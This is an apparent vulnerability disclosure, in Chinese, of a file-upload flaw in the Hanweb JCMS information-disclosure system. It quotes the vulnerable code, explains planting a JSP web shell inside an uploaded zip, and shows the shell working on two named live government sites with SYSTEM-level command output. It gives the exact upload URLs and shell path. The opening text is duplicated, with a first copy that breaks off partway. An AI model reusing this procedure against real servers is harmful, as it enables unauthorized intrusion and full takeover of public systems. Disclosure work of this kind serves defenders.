### 简要描述: 大汉版通系统再再次getshell之3,同样存在两处.. ### 详细说明: 注:该系统为信息公开系统(xxgk) #1 漏洞文件 ``` /xxgk/m_5_e/module/opr_module.jsp?fn_billstatus=1 /xxgk/m_5_e/module/review/opr_review_template.jsp ``` 由于第二个文件的上传比较有意思,我们选择其贴下关键的代码 ``` //上传 if (strStatus.equals("S")) { blf.doUpload(request); out.println(Convert.getAlterScript("parent.location='./opr_review_template.jsp'")); return; } ``` 这两个上传也仅在客户端进行验证 ``` <script language="javascript"> <!-- function GetFileExtension(name) { var ext = name.substring(name.lastIndexOf(".") + 1, name.length); return ext.toLowerCase(); } function jsUpload() { var obj = document.uploadmodal.upfile; var objImg = document.uploadmodal.upfile1; if( obj.value == "" && objImg.value == "" ){ alert("请选择要上传的文件!"); obj.focus(); return false; } var ext = GetFileExtension( obj.value ); var extimg = GetFileExtension( objImg.value ); //... if( extimg != "" && extimg != "zip" ){ alert("图片文件格式应该为:zip文件, 请重新选择!"); obj.focus(); return false; } var page =...
### 简要描述: 大汉版通系统再再次getshell之3,同样存在两处.. ### 详细说明: 注:该系统为信息公开系统(xxgk) #1 漏洞文件 ``` /xxgk/m_5_e/module/opr_module.jsp?fn_billstatus=1 /xxgk/m_5_e/module/review/opr_review_template.jsp ``` 由于第二个文件的上传比较有意思,我们选择其贴下关键的代码 ``` //上传 if (strStatus.equals("S")) { blf.doUpload(request); out.println(Convert.getAlterScript("parent.location='./opr_review_template.jsp'")); return; } ``` 这两个上传也仅在客户端进行验证 ``` <script language="javascript"> <!-- function GetFileExtension(name) { var ext = name.substring(name.lastIndexOf(".") + 1, name.length); return ext.toLowerCase(); } function jsUpload() { var obj = document.uploadmodal.upfile; var objImg = document.uploadmodal.upfile1; if( obj.value == "" && objImg.value == "" ){ alert("请选择要上传的文件!"); obj.focus(); return false; } var ext = GetFileExtension( obj.value ); var extimg = GetFileExtension( objImg.value ); //... if( extimg != "" && extimg != "zip" ){ alert("图片文件格式应该为:zip文件, 请重新选择!"); obj.focus(); return false; } var page = "./opr_review_template.jsp?status=S&modaltype=-1"; document.uploadmodal.action = page; return true; } } </script> ``` 这里既然可以上传 zip 格式的文件,程序肯定会解压缩ZIP包,那么,假如我们在ZIP包里隐藏了我们想要上传的恶意文件,而恰巧程序解压后,并不会删除这些文件,那么不就直接getshell了吗? #2 漏洞测试 有了这些想法,那么我们就来测试测试,程序的逻辑是不是真如我们想象的那样.. 那么,我们首先将要上传的文件打包成zip,这里为shell.zip [<img src="https://images.seebug.org/upload/201405/181522513abae821764f9cd0ea2d694f9df3699a.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/181522513abae821764f9cd0ea2d694f9df3699a.jpg) 由于这套系统网上的实例很多,随机选取两个进行测试.. 测试一: ``` http://xxgk.lyg.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp ``` 打开此页面后,直接上传我们的shell.zip,点击提交即可在服务器上解压并生成Customize.jsp 路径为: ``` /xxgk/jcms_files/jcms1/web0/site/zfxxgk/letterbox/template/-1/文件名 注:经过多个测试,一般情况都为此路径,极少部分 有可能会更改jcms1 web0后面的数字 ``` 连接shell,如图所示 [<img src="https://images.seebug.org/upload/201405/18153207cf16272d2ed48d2952b7b4c9e86be5af.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18153207cf16272d2ed48d2952b7b4c9e86be5af.jpg) 测试二: ``` http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp ``` 同样直接上传我们的shell.zip,即可在上面的目录下生成:Customize.jsp 同样连接Customize.jsp,如图所示 [<img src="https://images.seebug.org/upload/201405/18153629774c860cbed2ca8f9e8c9231098b9ce4.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18153629774c860cbed2ca8f9e8c9231098b9ce4.jpg) ### 漏洞证明: #证明 ``` http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp C:\WINDOWS\system32\> whoami nt authority\system C:\WINDOWS\system32\> ipconfig Windows IP Configuration Ethernet adapter 本地连接 2: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.82.17.26 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.82.17.1 ```